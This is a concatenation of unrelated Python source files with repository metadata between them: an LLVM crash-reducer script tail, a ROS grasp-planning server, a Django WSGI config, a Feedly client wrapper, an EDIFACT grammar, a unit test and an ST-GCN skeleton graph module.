creduce.") self.reduce_tool = self.get_llvm_ir_reduce_tool() return bugpoint_clang_cmd, irfile print("Compiling IR file with clang did not reproduce crash. Stderr was:", clang_info.stderr.decode("utf-8")) print(red("No crash found compiling the IR! Possibly crash only happens when invoking clang -> using creduce.")) self.reduce_tool = RunCreduce(self.options) return self._simplify_frontend_crash_cmd(new_command, infile) def _parse_test_case(self, f, infile: Path): # test case: just search for RUN: lines for line in f.readlines(): match = re.match(r".*\s+RUN: (.+)", line) if line.endswith("\\"): die("RUN lines with continuations not handled yet") if match: command = match.group(1).strip() if "%s" not in command: die("RUN: line does not contain %s -> cannot create replacement invocation") if "2>&1" in line: die("Cannot handle 2>&1 in RUN lines yet") verbose_print("Found RUN: ", command) command = self.subst_handler.expand_lit_subtitutions(command) verbose_print("After expansion:", command) # We can only simplify the command line for clang right now command, _ = self.simplify_crash_command(shlex.split(command), infile.absolute()) verbose_print("Final command:", command) self.run_cmds.append(command) self.run_lines.append(line[0:line.find(match.group(1))] + quote_cmd(command)) def run(self): # scan test case for RUN: lines infile = self.parse_RUN_lines(self.testcase) if self.reduce_tool is None: default_tool = RunBugpoint if infile.suffix in (".ll", ".bc") else RunCreduce self.reduce_tool = self.get_llvm_ir_reduce_tool(default_tool) if self.args.output_file: reduce_input = Path(self.args.output_file).absolute() else: reduce_input = infile.with_name(infile.stem + "-reduce" + infile.suffix).absolute() shutil.copy(str(infile), str(reduce_input)) with tempfile.TemporaryDirectory() as tmpdir: # run("ulimit -S -c 0".split()) self.reduce_tool.reduce(input_file=reduce_input, extra_args=self.reduce_args, tempdir=tmpdir, run_cmds=self.run_cmds, run_lines=self.run_lines) def get_llvm_ir_reduce_tool(self, default_tool=RunBugpoint): if self.args.reduce_tool is None: return default_tool(self.options) # if self.args.reduce_tool == "llvm-reduce-and-bugpoint": # return RunLLVMReduceAndBugpoint(self.options) if self.args.reduce_tool == "bugpoint": return RunBugpoint(self.options) if self.args.reduce_tool == "llvm-reduce": return RunLLVMReduce(self.options) elif self.args.reduce_tool == "noop": # for debugging purposes return SkipReducing(self.options) else: assert self.args.reduce_tool == "creduce" return RunCreduce(self.options) def main(): default_bindir = "@CMAKE_BINARY_DIR@/bin" parser = argparse.ArgumentParser(allow_abbrev=False) parser.add_argument("--bindir", default=default_bindir, help="Path to clang build directory. Default is " + default_bindir) parser.add_argument("--not-cmd", help="Path to `not` tool. Default is $BINDIR/not") parser.add_argument("--clang-cmd", help="Path to `clang` tool. Default is $BINDIR/clang") parser.add_argument("--llc-cmd", help="Path to `llc` tool. Default is $BINDIR/llc") parser.add_argument("--opt-cmd", help="Path to `opt` tool. Default is $BINDIR/opt") parser.add_argument("--llvm-dis-cmd", help="Path to `llvm-dis` tool. Default is $BINDIR/llvm-dis") parser.add_argument("--bugpoint-cmd", help="Path to `bugpoint` tool. Default is $BINDIR/bugpoint") parser.add_argument("--llvm-reduce-cmd", help="Path to `bugpoint` tool. Default is $BINDIR/llvm-reduce") parser.add_argument("--creduce-cmd", help="Path to `creduce` tool. Default is `creduce`") parser.add_argument("--output-file", help="The name of the output file") parser.add_argument("--verbose", action="store_true", help="Print more debug output") parser.add_argument("--timeout", type=int, help="Treat the test case as not interesting if it runs longer than n seconds") parser.add_argument("--extremely-verbose", action="store_true", help="Print tons of debug output") parser.add_argument("--llvm-error", action="store_true", help="Reduce a LLVM ERROR: message instead of a crash") parser.add_argument("--infinite-loop", action="store_true", help="Try debugging an infinite loop (-> timed out testcases are interesting)." "If timeout is not set this will set it to 30 seconds") parser.add_argument("--crash-message", help="If set the crash must contain this message to be accepted for reduction." " This is useful if creduce ends up generating another crash bug that is not the one being debugged.") parser.add_argument("--reduce-tool", help="The tool to use for test case reduction. " "Defaults to `llvm-reduce-and-bugpoint` if input file is a .ll or .bc file and `creduce` otherwise.", choices=["llvm-reduce-and-bugpoint", "bugpoint", "creduce", "llvm-reduce", "noop"]) parser.add_argument("--no-initial-reduce", help="Pass the original input file to creduce without " "removing #if 0 regions. Generally this will speed up but in very rare corner " "cases it might cause the test case to no longer crash.", action="store_true") parser.add_argument("testcase", help="The file to reduce (must be a testcase with a RUN: line that crashes " "or a .sh file from a clang crash") # bash completion for arguments: try: # noinspection PyUnresolvedReferences import argcomplete argcomplete.autocomplete(parser) except ImportError: pass # Disable coredumps to avoid filling up disk space: resource.setrlimit(resource.RLIMIT_CORE, (0, 0)) Reducer(parser).run() if __name__ == "__main__": main()
[ "Alexander.Richardson@cl.cam.ac.uk" ]
Alexander.Richardson@cl.cam.ac.uk
3024ec90b32cad54c5e971139ce41b32e6777f5b
5c53ab863965041a45e91b64aedf0dd52118496f
/ocrtoc_motion_planning/scripts/one_shot_grasp_with_object_pose_server.py
4e506662cc6c46eabbb4f6ac9cd096ef73f9423f
[]
no_license
MiaoDragon/ocrtoc_motion_planning
70fe04538600a39b5d321afa1fa9902800721627
c32542c5f37b84c8555b475c0cf07f2fc453ab5e
refs/heads/master
2023-02-27T02:04:39.688302
2021-02-03T22:23:18
2021-02-03T22:23:18
291,616,166
1
0
null
null
null
null
UTF-8
Python
false
false
9,966
py
#!/usr/bin/env python from __future__ import print_function from motion_planning.srv import OneShotGraspPlanWithObjectPose, OneShotGraspPlanWithObjectPoseResponse from motion_planning_functions import one_shot_grasp_with_object_pose from trajectory_msgs.msg import JointTrajectory, JointTrajectoryPoint from control_msgs.msg import GripperCommandActionGoal from motion_planning_execution import execute_plan_close_loop_with_pub, execute_plan_close_loop_with_moveit, gripper_openning from depth_to_pcd_functions import * import tf import rospy from cv_bridge import CvBridge from tf2_sensor_msgs.tf2_sensor_msgs import do_transform_cloud import sensor_msgs.point_cloud2 as pcl2 import std_msgs.msg from sensor_msgs.msg import PointCloud2, Image import pyassimp from motion_planning_utils import scale_pose_to_tf, clear_octomap #------------------------------- #* image related * subsample_ratio = 0.2 bridge = CvBridge() #controller_topic = rospy.get_param('controller_topic') arm_cmd_topic = rospy.get_param('arm_cmd_topic') gripper_cmd_topic = rospy.get_param('gripper_cmd_topic') pcd_pub = rospy.Publisher("/kinect/depth/pcd_from_depth", PointCloud2, queue_size=10, latch=True) tf_buffer = tf2_ros.Buffer() tf_listener = None# tf2_ros.TransformListener(tf_buffer) pcd_msg_to_pub = None #* execution related * arm_cmd_pub = rospy.Publisher( rospy.resolve_name(arm_cmd_topic), JointTrajectory, queue_size=10) gripper_cmd_pub = rospy.Publisher( rospy.resolve_name(gripper_cmd_topic), GripperCommandActionGoal, queue_size=10) def time_callback(timer): # get once the scene information # color1_msg = rospy.wait_for_message('kinect/color/image_raw', Image) # depth1_msg = rospy.wait_for_message('kinect/depth/image_raw', Image) # convert to pcd and publish # pcd1_msg = to_pcd(bridge, color1_msg, depth1_msg) if pcd_msg_to_pub is not None: pcd_pub.publish(pcd_msg_to_pub) #clear_octomap() print('fixed time published point cloud message...') def obtain_object_mesh(model_name, scale): mesh_file_name = "/root/ocrtoc_materials/models/"+model_name+"/collision_meshes/collision.obj" #pyassimp_mesh = pyassimp.load(mesh_file_name) import trimesh trimesh_mesh = trimesh.load(mesh_file_name) # if not pyassimp_mesh.meshes: # rospy.logerr('Unable to load mesh') # sys.exit(1) # for face in pyassimp_mesh.meshes[0].faces: # triangle = MeshTriangle() # triangle.vertex_indices = [face[0], # face[1], # face[2]] # mesh.triangles.append(triangle) # for vertex in pyassimp_mesh.meshes[0].vertices: # point = Point() # point.x = vertex[0]*scale[0] # point.y = vertex[1]*scale[1] # point.z = vertex[2]*scale[2] # mesh.vertices.append(point) # for box filtering (notice that this is unscaled) min_xyz = np.array(trimesh_mesh.vertices).min(axis=0) max_xyz = np.array(trimesh_mesh.vertices).max(axis=0) # print('min_xyz: ') # print(min_xyz) # print('max_xyz: ') # print(max_xyz) #pyassimp.release(pyassimp_mesh) return min_xyz, max_xyz def filter_object_pcd(pcd_msg, model_name, scale, obj_pose): # get the transformed pcd in world frame trans = tf_buffer.lookup_transform('world', pcd_msg.header.frame_id, rospy.Time(0), rospy.Duration(1)) # world <- camera t = np.array([trans.transform.translation.x,trans.transform.translation.y,trans.transform.translation.z]) r = np.array([trans.transform.rotation.x,trans.transform.rotation.y,trans.transform.rotation.z,trans.transform.rotation.w]) r = tf.transformations.euler_from_quaternion(r) T = tf.transformations.compose_matrix(translate=t, angles=r) pcd = list(pcl2.read_points(pcd_msg, field_names = ("x", "y", "z"), skip_nans=True)) padding = 0.045 min_xyz, max_xyz = obtain_object_mesh(model_name, scale) min_xyz -= padding max_xyz += padding filter_transform = tf.transformations.inverse_matrix(scale_pose_to_tf(scale=scale, pose=obj_pose)) # obj <- world filter_transform = filter_transform.dot(T) # obj <- camera pcd = np.array(pcd) pcd_add_axis = np.ones((len(pcd),4)) pcd_add_axis[:,:3] = pcd pcd_transformed = filter_transform.dot(pcd_add_axis.T).T pcd_transformed = pcd_transformed[:,:3] box_mask_min = np.prod((pcd_transformed - min_xyz) >= 0, axis=1) # AND across x-y-z axis box_mask_max = np.prod((max_xyz - pcd_transformed) >= 0, axis=1) # AND across x-y-z axis box_mask = box_mask_min * box_mask_max # should satisfy both min and max constraints to be inside the box # anything else stays # filter by the mask print('before filter: pcd length: %d' % (len(pcd))) pcd = pcd[box_mask == 0] # anything not inside the box print('after filter: pcd length: %d' % (len(pcd))) header = std_msgs.msg.Header() #header.stamp = rospy.Time(0) header.frame_id = pcd_msg.header.frame_id #create pcl from points filtered_pcd = pcl2.create_cloud_xyz32(header, pcd) #publish return filtered_pcd def publish_pcd_with_filter(model_name, scale, obj_pose): global pcd_msg_to_pub # get once the scene information color1_topic = rospy.get_param('color_topic') depth1_topic = rospy.get_param('depth_topic') color1_msg = rospy.wait_for_message(color1_topic, Image) depth1_msg = rospy.wait_for_message(depth1_topic, Image) # color1_msg = rospy.wait_for_message('/remapped/kinect/color/image_raw', Image) # depth1_msg = rospy.wait_for_message('/remapped/kinect/depth/image_raw', Image) #depth1_msg = rospy.wait_for_message('kinect/depth_to_rgb/image_raw', Image) # convert to pcd and publish pcd1_msg = to_pcd(bridge, color1_msg, depth1_msg, subsample_ratio=subsample_ratio) # filter the object pcd1_msg = filter_object_pcd(pcd1_msg, model_name, scale, obj_pose) pcd_pub.publish(pcd1_msg) pcd_msg_to_pub = pcd1_msg print('published point cloud message...') # wait for it to appear in motion planner rospy.sleep(1.0) def publish_pcd(): global pcd_msg_to_pub # get once the scene information color1_topic = rospy.get_param('color_topic') depth1_topic = rospy.get_param('depth_topic') color1_msg = rospy.wait_for_message(color1_topic, Image) depth1_msg = rospy.wait_for_message(depth1_topic, Image) # color1_msg = rospy.wait_for_message('/remapped/kinect/color/image_raw', Image) # depth1_msg = rospy.wait_for_message('/remapped/kinect/depth/image_raw', Image) #depth1_msg = rospy.wait_for_message('kinect/depth_to_rgb/image_raw', Image) # convert to pcd and publish pcd1_msg = to_pcd(bridge, color1_msg, depth1_msg, subsample_ratio=subsample_ratio) pcd_pub.publish(pcd1_msg) pcd_msg_to_pub = pcd1_msg print('published point cloud message...') # wait for it to appear in motion planner rospy.sleep(1.0) def handle_grasp_plan(req): # open gripper before plan gripper_openning(gripper_cmd_pub) clear_octomap() # clear the previous octomap, and listen to new scene change try: publish_pcd_with_filter(req.object_name, req.object_scale, req.object_pose1) except: rospy.logerr("Motion Planning filtering: object mesh model is not found. Not filtering point cloud.") publish_pcd() #publish_pcd() #hello = raw_input("after pcd with filter...\n") #rospy.sleep(1) #clear_octomap() rospy.sleep(2) # wait long enough to get the octomap response = OneShotGraspPlanWithObjectPoseResponse() # start plannning #plan_res = one_shot_grasp_with_object_pose(req.object_name, req.object_scale, req.object_pose1, req.object_pose2) try: plan_res = one_shot_grasp_with_object_pose(req.object_name, req.object_scale, req.object_pose1, req.object_pose2) except: rospy.logerr("Grasp plan failed.") # plan is unsuccessful at some point response.result = response.FAILURE else: # plan is successful rospy.loginfo("Grasp plan successfully generated.") response.pre_grasp_trajectory = plan_res['pre_grasp_trajectory'] response.pre_to_grasp_trajectory = plan_res['pre_to_grasp_trajectory'] response.post_grasp_trajectory = plan_res['post_grasp_trajectory'] response.place_trajectory = plan_res['place_trajectory'] response.post_place_trajectory = plan_res['post_place_trajectory'] response.reset_trajectory = plan_res['reset_trajectory'] response.result = response.SUCCESS rospy.loginfo("Start executing grasp plan...") exp_stage = rospy.get_param('stage') gripper_success = execute_plan_close_loop_with_pub(arm_cmd_pub, gripper_cmd_pub, plan_res) # if exp_stage == 'sim': # print('in sim stage, using publisher...') # gripper_success = execute_plan_close_loop_with_pub(arm_cmd_pub, gripper_cmd_pub, plan_res) # else: # print('in real stage, using moveit...') # gripper_success = execute_plan_close_loop_with_moveit(arm_cmd_pub, gripper_cmd_pub, plan_res) rospy.loginfo("motion planning: end of execution.") # publish update to map publish_pcd() if not gripper_success: response.result = response.FAILURE return response def motion_planning_server(): global tf_listener rospy.init_node('one_shot_grasp_with_object_pose_server') # hot start to wait for octomap tf_listener = tf2_ros.TransformListener(tf_buffer) rospy.sleep(2.) publish_pcd() #timer = rospy.Timer(rospy.Duration(5), time_callback) s = rospy.Service('/motion_planning/one_shot_grasp_with_object_pose', OneShotGraspPlanWithObjectPose, handle_grasp_plan) print("Ready for grasp plan.") rospy.spin() if __name__ == "__main__": motion_planning_server()
[ "innocentmyl@gmail.com" ]
innocentmyl@gmail.com
bbdca6c4a8306d84b8821edbff3a1ccaaf6b8713
1edbae33d73cd2bd189530ce116d733cb1add3c8
/EChat/wsgi.py
e19f0c995375cd3a00f093117b89e04c25a0940a
[]
no_license
Nereus-Minos/EChatNow
8f922e01fd71758a84e7e0ce519449bdab682836
1a4161b3e2a80ef71d911eb47060e7203a59813d
refs/heads/master
2020-06-10T14:11:10.333210
2019-06-29T00:55:57
2019-06-29T00:55:57
193,655,033
3
1
null
null
null
null
UTF-8
Python
false
false
387
py
""" WSGI config for EChat project. It exposes the WSGI callable as a module-level variable named ``application``. For more information on this file, see https://docs.djangoproject.com/en/2.1/howto/deployment/wsgi/ """ import os from django.core.wsgi import get_wsgi_application os.environ.setdefault('DJANGO_SETTINGS_MODULE', 'EChat.settings') application = get_wsgi_application()
[ "1328856085@qq.com" ]
1328856085@qq.com
692a05ab93258f57e88c08a76b28e892501d2e9f
9083176d4e7f27cdf579fe20f0e473a2b1a19f81
/fcw.py
3c0e39d72ed4a7532ef26e5d6a07450b78d204d2
[ "MIT" ]
permissive
lxxxxl/FeedlyClient
e4b164b37dadaac4cdf0eacea0a0eab222186655
5b23cf78085290fe06b7bd962056e080c45e8142
refs/heads/master
2020-12-28T09:38:02.526991
2020-02-06T18:08:38
2020-02-06T18:08:38
238,271,610
0
0
MIT
2020-02-04T18:05:07
2020-02-04T18:05:07
null
UTF-8
Python
false
false
4,453
py
from client import FeedlyClient import webbrowser from bottle import template import json import datetime import re import pdfkit import signal class FeedlyClientWrapper(object): config_filename = 'config.json' config = None feedly_client = None sandbox = False sigint_received = False def __init__(self): signal.signal(signal.SIGINT, self.sigint_handler) def sigint_handler(self, sig, frame): print('Exiting...') self.sigint_received = True def get_config(self): if self.config == None: with open(self.config_filename, 'r') as read_file: self.config = json.load(read_file) return self.config def get_feedly_client(self): if self.feedly_client != None: return self.feedly_client else: if self.get_config()['token']: self.feedly_client = FeedlyClient(token=self.get_config()['token'], sandbox=self.sandbox) else: self.feedly_client = FeedlyClient( client_id=self.get_config()['client_id'], client_secret=self.get_config()['client_secret'], sandbox=self.sandbox ) return self.feedly_client def process_authentication(self): if not self.get_config()['token']: #should authenticate user self.authenticate() else: print('Already authenticated') def authenticate(self): # Redirect the user to the feedly authorization URL to get user code webbrowser.open(self.get_feedly_client().get_code_url(self.get_config()['redirect_uri'])) # TODO # process second phase of authentication def set_token(self,token): self.get_config()['token'] = token with open(self.config_filemname, 'w') as write_file: json.dump(self.get_config(), write_file) def download_saved_for_later(self, html_filename, save_to_pdf=False): streamId = 'user/{}/tag/global.saved'.format(self.get_config()['client_id']) entries = self.get_feedly_client().get_feed_content(self.get_config()['token'], streamId, self.get_config()['max_items']) html_file = open(html_filename,'ab') while True: if not entries: return print('Entries found: {}'.format(len(entries['items']))) output_html = u'' entries_to_unsave = [] for item in entries['items']: print('Processing {}'.format(item['id'])) entries_to_unsave.append(item['id']) item_info = {} item_info['url'] = item['originId'] item_info['name'] = item['title'] keywords = ', ' item_info['keywords'] = '' if 'keywords' in item: item_info['keywords'] = keywords.join(item['keywords']) item_info['img'] = '' if 'visual' in item and 'url' in item['visual']: item_info['img'] = item['visual']['url'] item_info['desc'] = item['summary']['content'] item_info['desc'] = re.sub('<img[^<]+?>', '', item_info['desc']) # strip images from descrtiption output_html += template('template.html', item_info) if save_to_pdf: pdfkit.from_url(item_info['url'] , '{}.pdf'.format(item_info['name'][:40])) html_file.write(output_html.encode('utf-8').strip()) self.get_feedly_client().unsave_for_later(self.get_config()['token'], self.get_config()['client_id'], entries_to_unsave) if self.sigint_received: return if 'continuation' in entries: entries = self.get_feedly_client().get_feed_content(self.get_config()['token'], streamId, self.get_config()['max_items'], entries['continuation']) else: return if __name__ == '__main__': client = FeedlyClientWrapper() client.process_authentication() client.download_saved_for_later('{}.html'.format(datetime.date.today().strftime('%Y%m%d')))
[ "lxxxxl" ]
lxxxxl
dc51cca1327c27bef64e3434b98898b1bda20d4d
62e58c051128baef9452e7e0eb0b5a83367add26
/edifact/D03B/CUSEXPD03BUN.py
15e7b3ed5e7dda7f9d69367842f3c0e6d1a041dc
[]
no_license
dougvanhorn/bots-grammars
2eb6c0a6b5231c14a6faf194b932aa614809076c
09db18d9d9bd9d92cefbf00f1c0de1c590fe3d0d
refs/heads/master
2021-05-16T12:55:58.022904
2019-05-17T15:22:23
2019-05-17T15:22:23
105,274,633
0
0
null
2017-09-29T13:21:21
2017-09-29T13:21:21
null
UTF-8
Python
false
false
2,519
py
#Generated by bots open source edi translator from UN-docs. from bots.botsconfig import * from edifact import syntax from recordsD03BUN import recorddefs structure = [ {ID: 'UNH', MIN: 1, MAX: 1, LEVEL: [ {ID: 'BGM', MIN: 1, MAX: 1}, {ID: 'DTM', MIN: 0, MAX: 5}, {ID: 'LOC', MIN: 0, MAX: 5}, {ID: 'CNT', MIN: 0, MAX: 9}, {ID: 'NAD', MIN: 1, MAX: 1, LEVEL: [ {ID: 'CTA', MIN: 0, MAX: 5, LEVEL: [ {ID: 'COM', MIN: 0, MAX: 5}, ]}, ]}, {ID: 'TDT', MIN: 1, MAX: 1, LEVEL: [ {ID: 'DTM', MIN: 0, MAX: 1}, {ID: 'LOC', MIN: 0, MAX: 9, LEVEL: [ {ID: 'DTM', MIN: 0, MAX: 9}, ]}, ]}, {ID: 'EQD', MIN: 0, MAX: 99, LEVEL: [ {ID: 'SEL', MIN: 0, MAX: 9}, ]}, {ID: 'RFF', MIN: 0, MAX: 999, LEVEL: [ {ID: 'NAD', MIN: 0, MAX: 2}, {ID: 'CNT', MIN: 0, MAX: 1}, {ID: 'CNI', MIN: 1, MAX: 9999, LEVEL: [ {ID: 'SGP', MIN: 0, MAX: 9}, {ID: 'CNT', MIN: 0, MAX: 9}, {ID: 'MEA', MIN: 0, MAX: 1}, {ID: 'LOC', MIN: 0, MAX: 2}, {ID: 'NAD', MIN: 0, MAX: 5}, {ID: 'GDS', MIN: 0, MAX: 1, LEVEL: [ {ID: 'FTX', MIN: 0, MAX: 1}, ]}, {ID: 'PAC', MIN: 0, MAX: 999, LEVEL: [ {ID: 'PCI', MIN: 0, MAX: 1}, ]}, {ID: 'TOD', MIN: 0, MAX: 1, LEVEL: [ {ID: 'LOC', MIN: 0, MAX: 1}, {ID: 'FTX', MIN: 0, MAX: 1}, ]}, {ID: 'MOA', MIN: 0, MAX: 10, LEVEL: [ {ID: 'CUX', MIN: 0, MAX: 1, LEVEL: [ {ID: 'DTM', MIN: 0, MAX: 1}, ]}, ]}, {ID: 'TAX', MIN: 0, MAX: 9, LEVEL: [ {ID: 'MOA', MIN: 0, MAX: 1}, {ID: 'GEI', MIN: 0, MAX: 1}, ]}, {ID: 'DOC', MIN: 0, MAX: 9, LEVEL: [ {ID: 'DTM', MIN: 0, MAX: 1}, {ID: 'LOC', MIN: 0, MAX: 1}, ]}, {ID: 'CST', MIN: 0, MAX: 99, LEVEL: [ {ID: 'FTX', MIN: 0, MAX: 1}, {ID: 'LOC', MIN: 1, MAX: 1}, {ID: 'MEA', MIN: 0, MAX: 9}, {ID: 'TAX', MIN: 0, MAX: 9, LEVEL: [ {ID: 'MOA', MIN: 0, MAX: 1}, {ID: 'GEI', MIN: 0, MAX: 1}, ]}, ]}, ]}, ]}, {ID: 'AUT', MIN: 0, MAX: 1, LEVEL: [ {ID: 'DTM', MIN: 0, MAX: 1}, ]}, {ID: 'UNT', MIN: 1, MAX: 1}, ]}, ]
[ "jason.capriotti@gmail.com" ]
jason.capriotti@gmail.com
8706f15c31d0c88f51da90fa5368df63aa62b52c
8ae9849c50e9a552de5342e023ad80bb5f45bbc7
/gigasecond/gigasecond_test.py
99f0d3f8ead9428df05f882f8715bc0c9e2e8f0f
[]
no_license
smbsimon/python-practice
bf2c287371167568ae32ecf5b5f7b006c7b71a62
62e694d7fd497bd2d09e7deffd705937c0fbad22
refs/heads/master
2016-09-11T02:59:40.377743
2015-05-29T03:25:44
2015-05-29T03:25:44
35,074,413
3
3
null
null
null
null
UTF-8
Python
false
false
972
py
from datetime import datetime import unittest from gigasecond import add_gigasecond class GigasecondTest(unittest.TestCase): def test_1(self): self.assertEqual( datetime(2043, 1, 1, 1, 46, 40), add_gigasecond(datetime(2011, 4, 25)) ) def test_2(self): self.assertEqual( datetime(2009, 2, 19, 1, 46, 40), add_gigasecond(datetime(1977, 6, 13)) ) def test_3(self): self.assertEqual( datetime(1991, 3, 27, 1, 46, 40), add_gigasecond(datetime(1959, 7, 19)) ) def test_4(self): self.assertEqual( datetime(2046, 10, 2, 23, 46, 40), add_gigasecond(datetime(2015, 1, 24, 22, 0, 0)) ) def test_5(self): self.assertEqual( datetime(2046, 10, 3, 1, 46, 39), add_gigasecond(datetime(2015, 1, 24, 23, 59, 59)) ) if __name__ == '__main__': unittest.main()
[ "smbsimon@gmail.com" ]
smbsimon@gmail.com
0e7f752c591d0d5b8b50eace5d57f26fe33d84f2
c0aa93101a21877f79cdd90c28321f50a80ae6f3
/core/models/st_gcn/ops/graph.py
7bf7486ee9f8ac5c6340866e60b58de950e8b46a
[]
no_license
chuangg/Foley-Music
a9c4bc1721db42fbdd5d86d531175a7e4cc31093
dcc2638fddad0c268a70510f698ec8d86e6a4cae
refs/heads/main
2023-01-31T01:42:01.787289
2020-12-15T05:21:11
2020-12-15T05:21:11
321,561,725
39
8
null
null
null
null
UTF-8
Python
false
false
9,325
py
import numpy as np class Graph(): """ The Graph to model the skeletons extracted by the openpose Args: strategy (string): must be one of the follow candidates - uniform: Uniform Labeling - distance: Distance Partitioning - spatial: Spatial Configuration For more information, please refer to the section 'Partition Strategies' in our paper (https://arxiv.org/abs/1801.07455). layout (string): must be one of the follow candidates - openpose: Is consists of 18 joints. For more information, please refer to https://github.com/CMU-Perceptual-Computing-Lab/openpose#output - ntu-rgb+d: Is consists of 25 joints. For more information, please refer to https://github.com/shahroudy/NTURGB-D max_hop (int): the maximal distance between two connected nodes dilation (int): controls the spacing between the kernel points """ def __init__(self, layout='openpose', strategy='uniform', max_hop=1, dilation=1): self.max_hop = max_hop self.dilation = dilation self.get_edge(layout) self.hop_dis = get_hop_distance(self.num_node, self.edge, max_hop=max_hop) self.get_adjacency(strategy) def __str__(self): return self.A def get_edge(self, layout): # edge is a list of [child, parent] paris if layout == 'openpose': self.num_node = 18 self_link = [(i, i) for i in range(self.num_node)] neighbor_link = [(4, 3), (3, 2), (7, 6), (6, 5), (13, 12), (12, 11), (10, 9), (9, 8), (11, 5), (8, 2), (5, 1), (2, 1), (0, 1), (15, 0), (14, 0), (17, 15), (16, 14)] self.edge = self_link + neighbor_link self.center = 1 elif layout == 'ntu-rgb+d': self.num_node = 25 self_link = [(i, i) for i in range(self.num_node)] neighbor_1base = [(1, 2), (2, 21), (3, 21), (4, 3), (5, 21), (6, 5), (7, 6), (8, 7), (9, 21), (10, 9), (11, 10), (12, 11), (13, 1), (14, 13), (15, 14), (16, 15), (17, 1), (18, 17), (19, 18), (20, 19), (22, 23), (23, 8), (24, 25), (25, 12)] neighbor_link = [(i - 1, j - 1) for (i, j) in neighbor_1base] self.edge = self_link + neighbor_link self.center = 21 - 1 elif layout == 'ntu_edge': self.num_node = 24 self_link = [(i, i) for i in range(self.num_node)] neighbor_1base = [(1, 2), (3, 2), (4, 3), (5, 2), (6, 5), (7, 6), (8, 7), (9, 2), (10, 9), (11, 10), (12, 11), (13, 1), (14, 13), (15, 14), (16, 15), (17, 1), (18, 17), (19, 18), (20, 19), (21, 22), (22, 8), (23, 24), (24, 12)] neighbor_link = [(i - 1, j - 1) for (i, j) in neighbor_1base] self.edge = self_link + neighbor_link self.center = 2 elif layout == 'coco': self.num_node = 17 self_link = [(i, i) for i in range(self.num_node)] neighbor_1base = [[16, 14], [14, 12], [17, 15], [15, 13], [12, 13], [6, 12], [7, 13], [6, 7], [8, 6], [9, 7], [10, 8], [11, 9], [2, 3], [2, 1], [3, 1], [4, 2], [5, 3], [4, 6], [5, 7]] neighbor_link = [(i - 1, j - 1) for (i, j) in neighbor_1base] self.edge = self_link + neighbor_link self.center = 0 elif layout == 'body25': self.num_node = 25 self_link = [(i, i) for i in range(self.num_node)] neighbor_link = [(1, 8), (1, 2), (1, 5), (2, 3), (3, 4), (5, 6), (6, 7), (8, 9), (9, 10), (10, 11), (8, 12), (12, 13), (13, 14), (1, 0), (0, 15), (15, 17), (0, 16), (16, 18), (14, 19), (19, 20), (14, 21), (11, 22), (22, 23), (11, 24)] self.edge = self_link + neighbor_link self.center = 1 elif layout == 'hands': self.num_node = 21 * 2 self_link = [(i, i) for i in range(self.num_node)] left_hand = [ (0, 1), (1, 2), (2, 3), (3, 4), (0, 5), (5, 6), (6, 7), (7, 8), (0, 9), (9, 10), (10, 11), (11, 12), (0, 13), (13, 14), (14, 15), (15, 16), (0, 17), (17, 18), (18, 19), (19, 20), ] right_hand = [(a + 21, b + 21) for a, b in left_hand] # neighbor_link = left_hand + right_hand + [(0, 21)] neighbor_link = left_hand + right_hand self.edge = self_link + neighbor_link self.center = 0 elif layout == 'body65': self.num_node = 65 self_link = [(i, i) for i in range(self.num_node)] body = [ (1, 8), (1, 2), (1, 5), (2, 3), (3, 4), (5, 6), (6, 7), (8, 9), (9, 10), (10, 11), (8, 12), (12, 13), (13, 14), (1, 0), (0, 15), (15, 17), (0, 16), (16, 18), (14, 19), (19, 20), (14, 21), (11, 22), (22, 23), (11, 24) ] def hand(i): return [ (i, 1), (1, 2), (2, 3), (3, 4), (i, 5), (5, 6), (6, 7), (7, 8), (i, 9), (9, 10), (10, 11), (11, 12), (i, 13), (13, 14), (14, 15), (15, 16), (i, 17), (17, 18), (18, 19), (19, 20), ] left_hand = [(a + 24, b + 24) for a, b in hand(7 - 24)] right_hand = [(a + 44, b + 44) for a, b in hand(4 - 44)] self.edge = self_link + body + left_hand + right_hand self.center = 1 # elif layout=='customer settings' # pass else: raise ValueError("Do Not Exist This Layout.") def get_adjacency(self, strategy): valid_hop = range(0, self.max_hop + 1, self.dilation) adjacency = np.zeros((self.num_node, self.num_node)) for hop in valid_hop: adjacency[self.hop_dis == hop] = 1 normalize_adjacency = normalize_digraph(adjacency) if strategy == 'uniform': A = np.zeros((1, self.num_node, self.num_node)) A[0] = normalize_adjacency self.A = A elif strategy == 'distance': A = np.zeros((len(valid_hop), self.num_node, self.num_node)) for i, hop in enumerate(valid_hop): A[i][self.hop_dis == hop] = normalize_adjacency[self.hop_dis == hop] self.A = A elif strategy == 'spatial': A = [] for hop in valid_hop: a_root = np.zeros((self.num_node, self.num_node)) a_close = np.zeros((self.num_node, self.num_node)) a_further = np.zeros((self.num_node, self.num_node)) for i in range(self.num_node): for j in range(self.num_node): if self.hop_dis[j, i] == hop: if self.hop_dis[j, self.center] == self.hop_dis[ i, self.center]: a_root[j, i] = normalize_adjacency[j, i] elif self.hop_dis[j, self.center] > self.hop_dis[ i, self.center]: a_close[j, i] = normalize_adjacency[j, i] else: a_further[j, i] = normalize_adjacency[j, i] if hop == 0: A.append(a_root) else: A.append(a_root + a_close) A.append(a_further) A = np.stack(A) self.A = A else: raise ValueError("Do Not Exist This Strategy") def get_hop_distance(num_node, edge, max_hop=1): A = np.zeros((num_node, num_node)) for i, j in edge: A[j, i] = 1 A[i, j] = 1 # compute hop steps hop_dis = np.zeros((num_node, num_node)) + np.inf transfer_mat = [np.linalg.matrix_power(A, d) for d in range(max_hop + 1)] arrive_mat = (np.stack(transfer_mat) > 0) for d in range(max_hop, -1, -1): hop_dis[arrive_mat[d]] = d return hop_dis def normalize_digraph(A): Dl = np.sum(A, 0) num_node = A.shape[0] Dn = np.zeros((num_node, num_node)) for i in range(num_node): if Dl[i] > 0: Dn[i, i] = Dl[i] ** (-1) AD = np.dot(A, Dn) return AD def normalize_undigraph(A): Dl = np.sum(A, 0) num_node = A.shape[0] Dn = np.zeros((num_node, num_node)) for i in range(num_node): if Dl[i] > 0: Dn[i, i] = Dl[i] ** (-0.5) DAD = np.dot(np.dot(Dn, A), Dn) return DAD
[ "ganchuang1990@gmail.com" ]
ganchuang1990@gmail.com
4b7e502e87dd289be7683e1984debce1217b294d
ed6625148299e759f39359db9f932dd391b8e86f
/personal_env/lib/python3.8/site-packages/pylint/checkers/logging.py
b8661fdfccc31adbf385fa3341e90f8938745c63
[ "MIT" ]
permissive
jestinmwilson/personal-website
128c4717b21fa6fff9df8295b1137f32bbe44b55
6e47a7f33ed3b1ca5c1d42c89c5380d22992ed74
